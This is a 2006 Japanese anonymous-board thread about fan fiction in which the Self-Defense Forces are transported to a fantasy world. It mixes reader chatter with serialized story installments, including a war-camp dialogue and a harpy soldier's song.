本物か偽者か分からん。
鳥付けるか、ID強制表示の分家に行くかして話さんか?

771 名前: 名無し三等兵 2006/07/18(火) 20:29:07 ID:???

前スレ909 ◆XRUSzWJDKMさんの続きを待ってる俺ガイル

772 名前: 名無し三等兵 2006/07/18(火) 22:22:25 ID:rs2THYfO

自衛隊からさかのぼって、
旧軍の兵隊がファンタジーの世界に征くネットの小説ってないかなぁ?


773 名前: 名無し三等兵 2006/07/18(火) 22:25:59 ID:???

>>765
もし本物ならすんげぇーショックなんですけど・・・


774 名前: 名無し三等兵 2006/07/18(火) 23:01:41 ID:???

>>763 どの
つ ../../hobby7_army/1145/1145678712.html
別名、My隔離倉庫でふ。

元1氏が本物かどうかはわからないけれど、
とりあえずダメもとで(ベホイミのつもりで)本スレに投下します。


775 名前: 名無し三等兵 2006/07/18(火) 23:08:42 ID:???

>>752 の 続き

ド皇国は。

先の枯泉の月に、

突然・この世界に飛ばされてきた『 現代日本の市民と自衛隊 』を、
なんの驚きも無く、即座に受け入れてくれた国家であった。

それどころか、現代日本とほぼ同じ科学文明の享楽、
ガス・水道・電気・TV等等・・を、
なんの見返りの要求も無く分け与えてくれた国であった。

― 重大な恩義であった。

本田は、
部下に仮の宿を提供してくれたド皇国に報いたく思う事、大であった。
本田は、あの日以来、
ド皇国の恩義に答える機会を待つ“ 侍 ”そのものであった。

なのに。

現代日本なら、時の政府が転覆しかねない事件だというのに、
このド皇国のドワーフどもときたら。
報恩の気概に燃える本田の目の前で、ガーガーと高いびきまでかき始めていた。


776 名前: 名無し三等兵 2006/07/18(火) 23:10:20 ID:???

天羽日 午前10時30分
ドワーフ・ニーフ皇国「 皇国議事堂駅 」出口

午前10時30分、本田隊長は、ド皇国の皇国議事堂に到着した。

「 ・・・ 」

謹厳な本田が、
防大、いや、全自衛隊の鏡とまで言われた本田が、
ぽかん、と口を空け、目を虚ろに点にして、しばし、呆然と・・動けない。

本田の目の前では、本田の視界の見渡す限りが、
“ 赤 い ビ ヤ 樽 ”ドモで・・・埋め尽くされていた。
ド皇国の皇国議員ドモは、そして国難に集まった?市民は、こんな非常事態だというのに、
朝からどいつもこいつもへべれけに酔っ払っい、
皇国議事堂前広場!にて“ 大 宴 会 ”の真っ最中であった。
( ― 私の頭がおかしくなったのか???? )
謹厳実直な本田が、不意に襲ってきた“ 眩 暈 ”に、ぐらり、と揺れた。

よく、視界がぐにゃり、と曲がるという描写があるが、
本当のショックに襲われれば、たしかに視界は“ 曲がる ”のである。
本田は、視界を埋め尽くした酔っ払いの大群に耐え切れず、
ヨロヨロと構内の1つの柱にもたれかけ、
やがて、皇国議事堂前駅の出口にて本当に眩暈を起こして、崩れ伏してしまった。
そこには、本田が1生見たくない光景があった。

「 ・・・・・・・ 」薄れゆく本田の意識の中で、
故国・日本の、極めて悪質な戯画が、ゆらゆらとゆらめいて、ふっつりと、消えた。


777 名前: 名無し三等兵 2006/07/18(火) 23:16:43 ID:???

・・と、これが、
旧(^^)殿スレ に置いてあった続きです。

事項はアボーンしやすいように翡翠名義で。

>元1様
1様には多くのファンがおられます。m()m


778 名前: 名無し三等兵 2006/07/18(火) 23:17:37 ID:???

>>772
テンプレ読んでないのか?

#http://jbbs.livedoor.jp/movie/4152/
ここに日米開戦直前の日本が召喚される話があるぞ。
それとも国ごとじゃなくて兵士だけってことか?

779 名前: Call50 ◆D6llXYFFyA 2006/07/18(火) 23:23:42 ID:???

輸送戦記で日本が召還されるあたりの話を構想中。
問題は政治的に黒い話になるので、読んで面白いかどうか非常に疑問である事。
どうすっかなー

もと1だおー氏宛
まーすこーし離れてみるのもいいかもしれない。
けど戻ってくる所はここにちゃんとあるからねー

780 名前: 翡翠(星砂) ◆PujjQOi5D. 2006/07/18(火) 23:28:00 ID:???

以上、翡翠ベホイミでした。m()m

781 名前: 名無し三等兵 2006/07/18(火) 23:33:08 ID:???

あう、かぶった。
>>778 氏 と >>779 氏 は 宝石の人とは別人です。


782 名前: 名無し三等兵 2006/07/18(火) 23:36:13 ID:rs2THYfO

>>778
>兵士だけってことか?
はい、歩兵一人とか少数の感じので。

783 名前: 小官 ◆qG4oodN0QY 2006/07/18(火) 23:44:33 ID:???

>>782
大人しく冨野氏の『リーンの翼』でも読んで置いてくれ。
ただ、それだけさ。お休み。

784 名前: 名無し三等兵 2006/07/19(水) 00:01:24 ID:???

>>782
このスレは質問もsageで頼む。

785 名前: 名無し三等兵 2006/07/19(水) 00:06:16 ID:???

えっと・・
>>782 氏
分家を覗いて見て、その気になられましたら
分家でお伺いをたてるか、宝石隔離スレで1つ書いてみられては?(・w・)

あと、 E-mail(省略可)の右枠に
sageと小文字を お入れになされますと、
住人から好感触で迎えられます。

次回試して見てください(・w・)ノ


786 名前: 782 2006/07/19(水) 00:51:02 ID:???

すいませんでした

>>785
分家は気がつかなかったんで、
ありがとうございます。

787 名前: 元1だおー 2006/07/19(水) 09:09:58 ID:???

久しぶりにきてみたらなにやら記憶にない書き込みが……
>>765は私じゃないですよ。
今ネット環境がないんで時々こうして空いた時間にネットカフェから書き込むしかないんですよ。
「バディのいた風景」は一応まだ書き続けてるんで、一段落ついたらどっと載せます。
あんまりこの作品は面白くないらしいんで、納得いくように書いてみて、あまりスレを煩わせないように少数の更新で終わらせようと思います。

SS書くのやめようとは思っていないですし、書きたい作品はこの自衛隊F世界モノ以外にも結構あるんです。
……ただ最近うまくいかんなと頭抱えてるのは事実ですが。
文章が緻密なら緻密な分だけいいと思ってたんですが読みにくいのかな、とか……


788 名前: 翡翠(星砂) ◆PujjQOi5D. 2006/07/19(水) 09:25:31 ID:???

お、1様や。よかったよかった・・・。

>>765 が本物でしたら、
初代スレと2代目スレの頃の流れを、隔離で流してみようかと思っていましたですよ。
私も 旧軍inF(異)世界 書いてみたいですね。

名無し土方神氏みたいに
私も現職の方に「 お話できる知り合いの方 」が多ければ、
自衛隊軸でも、もう少し描けると思うのですが・・・。


789 名前: 翡翠(星砂) ◆PujjQOi5D. 2006/07/19(水) 09:32:26 ID:???

>今の作品
正直、お気にされるのが解りませんですよ。
(T様は別のことを言っているのかも=それは私にもわかりませんが・・)

あと、携帯組の方が多い模様で、
その方たちが大作を一気に読もうとして・・ダウン、それで長い、と。
んー贅沢な悩みですかとw

現にほら、皆様、1殿作品の投下キボンですし、バーンと投下し続けなされましては。


790 名前: 元1だおー 2006/07/19(水) 09:47:24 ID:???

そうなんですか?
わざわざ携帯で読んでくれる人がいるとは……
「バディのいた風景」ってかなりイケると思って三部作くらい設定とプロット作ったもので、
あんまり感想が思わしくないのに凹んだんですが……

どうでもいい話なんですが、
毎回文中にないレプの「お兄ちゃん、ぼく男の子(以下略」に始まる801でショタな感想くれる人が楽しみだったりします……
おまけ漫画みたいで何気に好き。

791 名前: 翡翠(星砂) ◆PujjQOi5D. 2006/07/19(水) 09:57:10 ID:???

いやあ、元1様が昔みたいにホイホイ書いている状態なら、もっと増えますよ☆w
^^)ノと、私はこれくらいで、(^^)殿のトコに失礼おば☆

>ケータイの人
昔、ページもっていた時は、ケータイの人ばかりでしたですよ。
最近の2chが1行レスばかりなのは、そのせいでし。

また、他所の板では、
四行小説の方(必ず00時に投稿。最盛期は毎日☆w)とか、
3レス民話の方が人気を博したり、です。

PC組(わたしとかw)にとっては、
ドドーンとこられると驚喜乱舞だったりするのですがw;
そこらへんは、たしかWIKI様もそーだったよーな、ですよ。(であでわ

792 名前: 名無し三等兵 2006/07/19(水) 10:51:19 ID:???

長けりゃなら長いほどイイ!な携帯組のウリがきますた。
読むのが早い奴は問題ないが、遅いやつには拷問だわなぁ。>元1氏の長文
早く読み終えたいのに読んでも読んでもなくならず、
仕事の合間にチビチビ読むも、続きが気になり集中出来ず。
時間がある中房のウリには嬉しいんだが。

793 名前: 名無し三等兵 2006/07/19(水) 11:11:07 ID:???

長けりゃなら→長けりゃ

794 名前: 名無し三等兵 2006/07/19(水) 12:06:41 ID:???

漏れはバディ好きだよ
文章量もアレくらいの方が読み応えがあっていい

795 名前: 名無し三等兵 2006/07/19(水) 15:39:19 ID:???

俺はダディの方が好きだな

796 名前: 名無し三等兵 2006/07/19(水) 17:00:07 ID:???

皆さん すいませんが質問です。
輸送戦記や、元1だお〜さんのメイドもの等の保管庫はどこにあるのでしょうか?
よろしければ教えてください

レス違い失礼しました。

797 名前: 名無し三等兵 2006/07/19(水) 17:24:50 ID:???

#http://fwsdf.hp.infoseek.co.jp/cgi-bin/wiki/wiki.cgi?%BE%AE%C0%E2

多分ここ

798 名前: 名無し三等兵 2006/07/19(水) 17:34:20 ID:???

ありがとうございます。
輸送戦記の続編を期待します。

799 名前: 名無し三等兵 2006/07/19(水) 18:26:02 ID:???

ていうか、>>1のテンプレくらい読めよ

800 名前: 名無し三等兵 2006/07/19(水) 20:29:52 ID:???

まあまあ。純粋に良い興味をもたれなされました方は皆皆うえるかむで。by宝石

801 名前: 名無し三等兵 2006/07/19(水) 20:44:36 ID:???

>>1を読み、テンプレを読むのは守るべきマナーだ。
>>799のレスに何ら問題はない。

802 名前: 名無し三等兵 2006/07/19(水) 21:12:22 ID:???

まあ、最近SSスレをあちこち荒らしてる基地外がいるからカリカリしてるんだろう。

まあ旦~ 

どうぞ

803 名前: 名無し三等兵 2006/07/19(水) 21:54:24 ID:???

認識番号800番頂きますよ。んずずずずずず・・・
いえす。勿論、対番殿799、部屋長殿801が居てこその800番。

かようにF自スレは様様な状況に・・おお、夏は冷麦でござりますです ずずずず・・・

804 名前: 名無し三等兵 2006/07/19(水) 21:57:51 ID:???

ここって分家もあったのか。 分家にはなんかいい作品はある?

805 名前: 名無し三等兵 2006/07/19(水) 22:02:03 ID:???

もちろん、分家、あります。
ささ、どうぞ。

つ 旦

といか、分家はYXz殿が管理なされていますので、かなりの充実。
とりあえずいってみませう。お好きな作品にあえるといいですね。


806 名前: 名無し三等兵 2006/07/19(水) 22:28:21 ID:???

アメリカ軍スレって、スレタイ見たから、てっきりエイブラムズやアパッチ
が大暴れするかと思ってたが・・・・・・・・・

WW2の空母機動部隊とは、作者もやるな。

807 名前: 名無し三等兵 2006/07/19(水) 23:12:01 ID:???

神戸市民はきっと社会党の事を永遠に忘れんだろうなぁ。

まあ、結果的に自衛隊の株が一気に上がったが。
あれ以来
社会党>>>>>>自衛隊だったのが。
自衛隊<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<社会党となった。

808 名前: 名無し三等兵 2006/07/19(水) 23:18:42 ID:???

>>807
矢印の方向が・・・

809 名前: 名無し三等兵 2006/07/20(木) 00:24:03 ID:???

>>807
ていうかさぁ、常日頃「社会党っておかしいだろ」って考えてる俺らがいて、
ネット普及して2ちゃんみたいな総合掲示板が生まれて、特定の話題したい奴らが集まれば、自然と疑念が確信へと変わったからな。
「やっぱ社会党変だ。つか異常」

そりゃあ学生時代、事あるごとに「日本が悪い」なんて言われりゃ、反骨心のある奴は真相を求めたくなるもんで。
後30年もすれば団塊は完全にくたばるから、その頃が俺らの天下?

810 名前: 名無し三等兵 2006/07/20(木) 11:14:39 ID:???

このスレ来てるのはただ
小官SSだけを楽しみにしている俺は
異端

811 名前: 名無し三等兵 2006/07/20(木) 12:04:41 ID:???

別に異端じゃぁーない
アレはアレでオモシロス

812 名前: 名無し三等兵 2006/07/20(木) 15:23:14 ID:???

そして分家のエログロスレが楽しみな俺は(ry

813 名前: 元1だおー 2006/07/20(木) 18:16:42 ID:???


本陣の最奥に位置する天幕に報告に足を運んだアイギスは、平伏し、恭しく今日の戦果を読み上げていた。
天幕内は人払いがされており、アイギスと、目の前に座る人物以外に誰もいない。
そう広くはなく、狭いともいえない天幕の中は、前線の野営地であることを差し引いても、殺風景なものだった。
簡易の机と、一枚のユニコーンをあしらった軍旗がかけられている以外、目を引くものはほとんどない。
四万を束ねる総大将が腰を据える場所とは到底思えない、とアイギスは入室した時から感じていた。

「……以上、三つの丘の敵を撃退し占領致しました」

報告を終え、顔を上げるよう指示を受け、彼はようやく目の前の人物の尊顔を拝することができた。
彼は、努めて平静を装ったが、心の奥底で呻いた。


814 名前: 元1だおー 2006/07/20(木) 18:17:19 ID:???

背中まで流れる夜明けの湖畔のような澄んだラピスラズリの髪、
そして幾多の戦場を写してきた、揺るぎない冷静さと勇猛さを奥に秘めた紅玉の瞳。
最低限の装飾しか施していない、ミスリルの軽甲冑と、机に無造作に立てかけられている、身の丈ほどもある深紅の鞘に収まった剣。
動と静の魅力を兼ね備えた、鮮麗なる姫将軍が、そこにいた。
ロスーキ都市国家群、神聖守軍右将軍、アロウィナ・メレセーリア。
二八歳にしてロスーキの歴史上、四万という最大規模の軍勢の将を任ぜられた、最強にして最高の武人。
ロスーキ軍の平時の神聖守軍の常備軍総兵力三万の編成は、大きく分けて、右軍と左軍の二軍団に分けられる。
左軍は、警察軍的な役割で、都の警備・治安維持などを平時においても担う。
そして、右軍は、国境警備といった実質的な国防任務。二つの軍において、様々な面で右軍の優越が認められていた。
右軍は神聖守軍の全体からすれば僅か六千名に過ぎないが、装備・練度共に選りすぐりで構成された精鋭部隊だった。
兵の間でも、右軍に登用されることは実力を認められたというステータスである。
その右軍を、事実上の神聖守軍を束ねる右将軍が、彼女なのだ。
反帝国陣営であったロスーキにおいて、七回の帝国の侵略を撃退した武勲を知らぬ人間はいないほどだ。


815 名前: 元1だおー 2006/07/20(木) 18:18:11 ID:???

左軍の一員として十五歳の初陣で敵将の首級を上げ一躍注目を上げ、異例の右軍への登用と、下士官への昇格から彼女の伝説は始まる。
隣国の危機に、教圏守護を目的とした光母神神聖守護軍に参加。
絶望的とされた戦局を覆し、単身、敵将を捕縛。
凱旋後、右軍・騎戦プレリュークス騎士団長に若干十六歳で就任。
その後、ニホン出現の時まで、帝国の侵入を許さなかったロスーキの歴史は彼女無しには語れない。
姫将軍メレーセリアと神格視され、戦いの現人神とされている。
魔剣とも神剣とも呼ばれる伝説の剣、ドゥエールニアを手にした銅像が元老院議事堂前には立っているほどだ。
アイギスも、此度の戦まで、実際に会ったことすらない雲の上の人物だった。
いや、普通のロスーキ人にとっては、雲の上どころではない、文字通りの神≠ニ等しい。



816 名前: 元1だおー 2006/07/20(木) 18:19:20 ID:???

「捨て駒にしては上出来だ」

静かだがよく通る声だった。
苦笑とも、若干の皮肉ともとれる声音で、目の前の若き軍師に問いかける。
アイギスは、その口調に安心した。
どうやら、神の類ではないようだ。同じ人間が相手なら、やりやすい。
それに、議事堂前に立っている雄々しい銅像よりは、頭の良さそうな雰囲気を彼女はまとっていた。

「だろう? クレルハーンの後継者殿」

微笑を浮かべる姫将軍は、確かに神めいた魅力があるとアイギスは思った。
不思議な気持ちだった。神仏を信じるような人間ではないと自分自身思っていたのだ。

「……霧の濃い場所へ本隊を誘い込み反撃にでるための陽動である可能性も捨て切れません。まだ楽観は禁物です」

アイギスの忌憚のない言葉に、アロウィナは苦笑した。
おそらく、賛辞の一つも敵への侮蔑もない軍師を意外に感じたのだろう。



817 名前: 元1だおー 2006/07/20(木) 18:20:12 ID:???

「貴様の慎重さは病的だな。軍議でこそ静かだが左将軍などカンカンだったぞ?」

アロウィナは、苦笑しながらも本心から楽しんでいるようだった。

「ですが……」
「よい。何も責めておるわけではない」

軽く手で制し、彼女は一つ間を置いた。
そして、その宝石のように輝く瞳を彼に向け、神妙に頷いた。

「歴史上、表でも、そして裏でもクレルハーン家はそうして祖国を幾度となく救ってきた」

彼女は息を呑むアイギスに軽く笑いかけ、机の上に手を組んで言った。

「で、軍師殿はこの後どうすべきと考える?」

今度はアイギスが意外に感じた。
まさか、自分の意見を求めてくるとは思っていなかったのだ。
良くて叱責、最悪解任されるとばかりだと。
しかし、アイギスはチャンスを逃すほど鈍感な人間ではなかった。
すぐに頭の中に整理しておいた、出す予定のなかった考えを口にする。


818 名前: 元1だおー 2006/07/20(木) 18:21:11 ID:???

「霧が晴れるのを待ち、本隊を送り込み、橋頭堡を確保した後、斥候を出し敵情を探ります」

右将軍が眉間に皺を寄せた。
武人を思わせる無骨さと、思慮深げな端正さを同居させた彼女の顔に、その皺は随分と生々しい印象のものだった。

「……元老院は成果を急いておる。あまり時間はないぞ」

右将軍は言葉を選ぶようにして静かに言った。

「時間はあります。情報によれば、未だ新興国家群とニホン軍はにらみ合いを続けております。今は確実な戦果を得るべき時です」

彼女は苦笑を浮かべた。
アイギスは、その苦笑の意味するものが、若輩の純粋さに呆れたものであるように感じられた。

「そういう問題ではない。貴様ほどの男が分からん話ではあるまい?」

含んだ物言いは、どこか不機嫌そうだった。そして、不機嫌の原因はアイギスによるものではない。


819 名前: 元1だおー 2006/07/20(木) 18:23:11 ID:???

アイギスも薄々だが、感じる所はあった。
今回の各所でのニホンへの武装蜂起は、大陸の手をあるべき者の手に取り返すという大義名分がある。
しかし、それはあくまで大義名分。真の目的が別にある国は数多い。
国民の不満を外へ逸らすためというのが大きな理由ではあるが、混乱に乗じて領土拡張や利権の獲得を狙う国もあるのだ。
……そして、我が国もその一つだということか。
おそらくは、高地のニホン軍を撃滅した後に隣国を併合するつもりなのだろう。
理由はなんとでもなる。落ち延びたニホン兵の追撃・掃討とでも言えばレコンキスタを掲げるロスーキ軍を自国領土へ入れることを拒めない。
その後は親日国家であったとでもデッチ上げれば、併合の理由としては事足りる。
帝国の脅威のない今のこの大陸は、力の均衡の崩れた混乱の渦中にある。
今まで、帝国という脅威とニホンという圧力があったために実行に移せなかった野望を叶えようというのだ。
こういった国はこの大陸にまだ多くあるに違いない。
ニホンが帝国を撃退していた頃は尻尾を振り、帝国と共倒れ状態になった途端に牙をむく。


820 名前: 元1だおー 2006/07/20(木) 18:24:07 ID:???

ニホンは、そこまで非道な国家であっただろうか?
少なくとも、私利私欲のためだけに戦っていたとはアイギスは思えなかった。
今向かい合っている敵とて、ニホンに受け入れてもらったことで恩を返そうと戦っている者達なのだ。
スダ将軍の言葉を思い出す。
彼は卑しき民達を部下≠ニ呼んだ。そして、その命を尊いとも。
何の得にもならぬ流浪の民を受け入れ、捨て駒ではなく部下≠ニして戦列に加える国。
そんな国が、この世界にあるだろうか?
今、自分達は取り返しのつかない過ちを犯そうとしているのではないか?
ニホンと共に、大陸をよりよくしていくという発想を、どうして誰も持てなかったのか?
あの異世界の国には、どうしようもないと思えるこの世界を根底から変えてくれる、武力以外の力≠ェあったはずだ。
覇者にも、愚者にもなりきれぬ国。それがニホンだ。短所であり、そして長所でもある。



821 名前: 元1だおー 2006/07/20(木) 18:25:31 ID:???

「敵はニホンだけではないのだよ」

「……右将軍閣下。この大陸、我々の戦いのその先に、いったい何があるのでしょうね?」

「それを決めるのは、我らの仕事ではない」

ため息をつくように答える歴戦を戦い抜いてきた姫将軍の横顔は、
救国の英雄、戦いの現人神という評判には似つかわしくない、どこか冷めた諦観を感じさせるものだった。
深く詮索すべきではないと、アイギスは一礼すると、天幕を後にした。
天幕を出ると、篝火の傍によく見知った顔があった。

「アイギス様、メレセーリア右将軍閣下は何と?」

緊張の面持ちで開口一番尋ねてくる若き騎士に苦笑し、彼は肩を竦めて言った。

「時間がないから、早く敵を倒せってさ」

半ば冗談のつもりの言葉だったが、彼女の真剣な瞳はそれを理解しなかった。


822 名前: 元1だおー 2006/07/20(木) 18:27:17 ID:???

「では、いよいよ?」

詰め寄るように、彼女は尚も尋ねてくる。

「仕方がないさ。閣下も、厳しい立場のお人だ」

アイギスはため息を一つつくと、腰に手を当てて空を仰ぎ見た。
満点の星空だった。そういえば、主都では光源祭も近い。戦勝祝いと相まって、例年にない盛り上がりを見せるかもしれない。
だが、それはどこか歪なことにアイギスは思えた。
世界の平和と万人の幸せを望んだ神の祭を、血を流した自らの業を祝う場にしてしまうのだから。
だが、決壊したダムの奔流のように、流れ始めた歴史は自分にはもう止められない。
諦めたのではなく、冷静に判断しての結論だった。
帝国の侵略さえなくなれば大陸は平和になる。そう信じていた、ほんの数年前の自分が、随分と幼稚に思えてくる。
アイギスは、今敵も自分と同じ星空を眺めているのだろうかと不意に気になった。
彼らはいったい、今どんな気持ちなのだろうか。
僅かな希望にすがっているのだろうか?
絶望に打ち拉がれているのだろうか?
それとも……

「アイギス様?」

ウェリカが心配そうに顔を覗き込んできていた。
彼女の純粋な瞳が、アイギスには何故かひどく残酷な気がした。




823 名前: 元1だおー 2006/07/20(木) 18:29:23 ID:???



霧が一時的に晴れ、今は満点の星空が頭上に広がっていた。
柴田は、今にも眠ってしまいそうな疲労感と闘いながら、
もうこびりついた血も固まった銃剣を装着したままの小銃を手に、予備陣地の入り口に立って闇を睨んでいた。
ここへやってくる者が敵か、味方かを誰何しなければならないのだ。
この予備陣地だけでも、既に五十人を超える隊員が集合していた。
内、半数は負傷している。
せめて負傷者だけでも休ませてやらなければならない。人手が足りないのだ。
重傷の者が一人、まだ二十歳にもなっていない兎族の若者が、十五分前に息を引き取った。
失血と、それによる脱水症状、そして、急激な給水によるショック死だった。
衛生隊員は、日本人隊員しかいなかった。つまり、傷を手当てできる人間は、もうこの部隊には一人もいない。
水が欲しいと懇願するその若者に、うっかり水を与えたのが不味かったらしい。
だが、水を与えた者を誰も責めようとはしなかった。
全員が重傷者はもう助からないと、分かっていたからだった。



824 名前: 元1だおー 2006/07/20(木) 18:31:14 ID:???

「あのウサギのガキ、犬死にだな」

隣で百円ライターを擦る音が聞こえた。
単騎で敵の大軍と渡り合い、生き残ったハーピィの女が、血と硝煙に薄汚れた姿で座っていた。
この予備陣地は、陣地というよりは掩蔽壕のような、太平洋戦争時の沖縄戦の防空壕のような構造で、
外が見えるのは入り口のここだけだった。
息がつまるから、ここへ煙草をふかしにやってきたというところだろう。
汚れて使えなくなったのか、作業服の上着は脱いでいた。
月明かりの下、銀髪と白磁のような白い肌が目に眩しい。

「チッ……しけってやがる」

彼女は端正な顔を不機嫌に歪め、くわえたセヴンスターを吐き捨てた。

「止めろ。敵に発見される」
「わーってるよ。あ、あと見張り後退してやらあ。ちょっち寝ときな」

立てた親指で陣地内を指しながら、彼女が六四式小銃を肩に立てかける。
すると彼女は顔をしかめ、その小銃を近くの草にこすりつけた。
暗くて確認はできないが、草にはどす黒い液体が付着しているように見えた。
彼女は確かここに来たとき小銃を携行していなかった。負傷者か、死んだ隊員の銃を拝借してきたのだろう。
小銃は、敵か持っていた者の血にまみれていたのかもしれない。
彼女はしょっぱなから不愉快な思いをしたせいか、
しけっていると分かっているはずのセブンスターを一本、再びその艶やかな唇にくわえる。



825 名前: 元1だおー 2006/07/20(木) 18:32:51 ID:???

「どこでそんなもの覚えたんだい?」

柴田は半ば呆れる思いで尋ねていた。
こんな現代文明に汚染された異種族隊員など見たことがない。
そんな柴田の様子に、彼女はまるで不良少女のようにぎろりと柴田に視線を転じた。

「教育隊のあったクマガヤ基地だよ。生徒隊の悪ガキにもらったのさ。くだらねえニホンで少ねえクールなもんの一つだ」

吐き捨てるように答えてから、彼女は暇つぶしのつもりか六四式から弾倉を抜き薬室を確認してから銃点検を始めた。
小銃を操作する無機質な金属音だけが、しばしその場を支配する。

「君は……他の隊員とは少し違うね」

柴田が呟くと同時に、彼女は弾倉を元に戻した。
弾を薬室にさらうスライドが閉鎖する、本能的に緊張を抱かせる鈍い音と、彼女の白い横顔と合わさって、まるで現実と幻想の狭間にいるような気分にさせる。
彼女は肩に小銃を立てかけ、虚空を見つめた。



826 名前: 元1だおー 2006/07/20(木) 18:33:40 ID:???

「ああ。あたしゃ別にニホンがどうなろうが知ったこっちゃねえからな」

彼女の言葉は、彼女以外に異種族隊員が口にしていたなら、思わず目を見開いていたことだろう。
しかし、今までの彼女の言動や行動から、なんとなくだが予想していた言葉だった。
柴田はどう反応すべきか少し迷った。
この部隊は彼女とおよそ正反対の考えで戦っている隊員ばかりなのだ。そして、自分自身、そんな彼らを信頼している。
だが、柴田は人が何を考えていようがそれはその人物の勝手なのだと思っている。
今はあまり目立たないものの、干渉するのも、されるのも嫌いな性格なのだ。
彼女は十分戦力として活躍したし、何より自分達を救ってくれた。
その彼女が日本のことを嫌っていようがどうであろうが、それは些末な問題に過ぎなかった。
自分は自衛官を三十五年やってきて、一度だって国のためだなどと口にしたことなどないのだ。
自分が国のためだ、どうだとやってこなかったのに、彼女にそれを勝手に、そうであって当然と押しつけるのは横暴だ。
柴田はそうなのか、とそれ以上深く詮索せず、曖昧な返事でその会話を打ち切ろうとした。



827 名前: 元1だおー 2006/07/20(木) 18:36:57 ID:???

「……くっくっ……それだよ、それ」

彼女は喉の奥で笑う、あのどうにも好きになれない笑い方をした。
何がだい、と無言で尋ねる表情の柴田に、膝をかかえ、くわえた煙草を指に挟んで言う。

「あたしがニホンのために戦ってる、しいてあげる理由さ」

彼女はどこか寒気を感じさせる雰囲気を瞳に宿していた。

「おもしれえんだよ、ニホンは、いやニホン人は」

柴田は息を呑む。
自分の心中が、見透かされた、いや、覗き込まれたような気がした。
面白い?
異種族隊員のくせに愛国心がないのかと叱責しなかったことがだろうか。

「あたしは頭よくねえからうまく説明はできねえが、
なんつーか、ニホン人は、この世界のどこの国や種族とも比べられねえ。つまり似たものがねえんだ」

彼女が再び唇に煙草をくわえる。
そして、ゆっくりとまた虚空を見つめ、どこか恍惚とした表情で呟いた。



828 名前: 元1だおー 2006/07/20(木) 18:41:05 ID:???

「あたしは見てえのさ。滅ぶにせよ生き残るにせよ、ニホンって国の行く末が」

柴田は今までの人生で、聞かなければよかったと後悔したことがいくつかあったが、今の彼女の話は何故かその一つに加わりそうな気がした。
理解しようにも、本人以外にはけして理解されず、共有もされない考えや価値観というもの目の当たりにしたとき、
人は大抵、不快に思うか、悪ければ恐れる。
彼女の頭の中は、おそらく自分には微塵も理解できない。そんな気がしたからかもしれない。

「……私以外の人間に、そんなことは口にしない方がいい」
「心得てるさね……」

ほんの一瞬だけ、彼女はその横顔に諦めと寂しさのようなものをよぎらせた。
彼女は誰かに理解して欲しいのではないように柴田は思った。
彼女はただ知って欲しかったのだ。
自分という、奇怪な感覚を持った女がいることを。
それが柴田には、理屈でなく感覚として分かった。
誰にも知られずに生き、死んでいくということは、自分が存在していなかったことになってしまう。
そんな、普通の、家族や親友といった自分を愛してくれる他者の存在のなかった者だけが抱く、途方もない孤独感と恐怖。
自分がバディに、山下に出会うまで、ずっと抱えていた感覚だ。
それが、彼女の横顔に現れていたように柴田は感じた。
彼女はじっと自分を見つめる柴田に、ややあって意外にも狼狽したようなそぶりを見せた。



829 名前: 元1だおー 2006/07/20(木) 18:44:24 ID:???

「ま、知ったこっちゃねえとはいえ、嫌いでもねえから、なんだかんだで好きなんだろうけどな、あたしも。他の連中ほど狂信的じゃねえが」

その弁解するような口調は、どこか少女っぽく、初めて彼女に対して柴田は親近感を抱いた。

「くだらないんじゃなかったのか? ニホンは?」

和らいだその場に、柴田は思わずそう尋ねていた。

「かははっ! ああ、そうだぜ? だがな、この世界はくだらねえどころか、クソみてえだ。まだニホンの方がましさ」

彼女は、その和んだ雰囲気で、当たり前のように、笑いながらその話≠始めていた。

「ガキん頃なんかさ、親から引き離されたあたしは見せ物小屋で毎日素っ裸にされて、汚え客の……」
「やめろ!」

突然声を荒げた柴田に、彼女最初ぽかんとしていたが、しばらくして自分が何を話していたのかに思い至った。

「……ワリぃ。こういうの、ニホン人にはキッツいんだったっけな」

柴田は何も言えなかった。


830 名前: 元1だおー 2006/07/20(木) 18:51:11 ID:???

彼女は、今度は目に見えて悲しげに空を見上げた。
彼女の視線を追うように柴田も見上げる。
日本では見たこともないようなきらめきが空に散らばっていた。
だがその時は、満点の星々が高みから泥に汚れた自分達をみくだしているように見えた。
汚れたお前達は、ここへ来ることなどできない。そう突き放されているような気がした。

「……ま、だからかな。まっとうな戦う理由は。平和ボケとか悪く言うけど、あたしは、嫌いじゃない」

ぽつりと彼女が呟く。

「ああそうだ、うん……あたしみたいなのを笑ったり殴ったりしないで、泣いてくれる人がいる……ハッピーな国だ」

柴田は何も言わなかった。

「そういや、あんた家族は?」

彼女でも気を遣うのか、黙ったままでいると、向こうから話題を振ってきた。
しかし、今の自分にとっては、最も辛い話題だった。

「……いない。天涯孤独さ」
「……そうか」

彼女も、その答えに何かを察したのか、それ以上は詮索してこなかった。


831 名前: 元1だおー 2006/07/20(木) 18:52:21 ID:???

二人の間に、不思議な空気が流れた。
共通するものなど何もなさそうな二人だが、何故か、柴田は相手と通じ合っていると思った。
そうして二人で空を見つめていると、やはり夜空の輝きが綺麗なものに思えてきた。
本当に今自分達は戦争をしているのだろうか。
そんな気分にもなってくる。

「小さい頃にな、もう顔も覚えてねえんだが……母親に教えてもらった歌があんだ」

いったいどれくらい時間が経ったのか、唐突に口を開いたのは、彼女の方だった。

「歌?」

「ああ。何故か、それだけは覚えてる。
ハーピィは歌と踊りの種族らしいが、あたしはそんなものに親しめる環境じゃなかったから……。
歌はその一つしかまともに歌えねえ。
で、その歌はな、誰かを癒してやりたい時に歌えって言われたんだ」

彼女は柴田を真っ直ぐ見つめると、気恥ずかしげに苦笑した。

「聴いてくれるか?」

「……ああ」

彼女は六四式小銃の二脚を立てて傍らに置くと、月明かりの中で背中の翼を大きく広げた。
月光に照らされ、淡い陰影が彼女の肢体を浮き上がらせる。
それだけで、次の瞬間には幻と消えてしまっていても不思議ではないくらい、幻想的な光景だった。
彼女は胸に手を当て、そっと息を吸い込む。
そして、白い喉が、震えた。





832 名前: 元1だおー 2006/07/20(木) 18:54:44 ID:???





いつか見た夕暮れ
二人見つめた故郷の夕暮れ
遠く離れた異国の地に立ちて
夢見るは幼きあの日の日の暮れ
君と共に唱った故郷の歌
今はもう思い出せぬ故郷の歌
今夜はせめて夢で思い出そう

遙かなる故郷の夕暮れ
一人見上げた紅い空は
君へと繋がる幻の世界
いつか扉開いたなら
いつかまた逢えたなら
君が見つけた幸せと共に
幻の世界で永久(とわ)に生きよう
永久に守ろう君と共に……





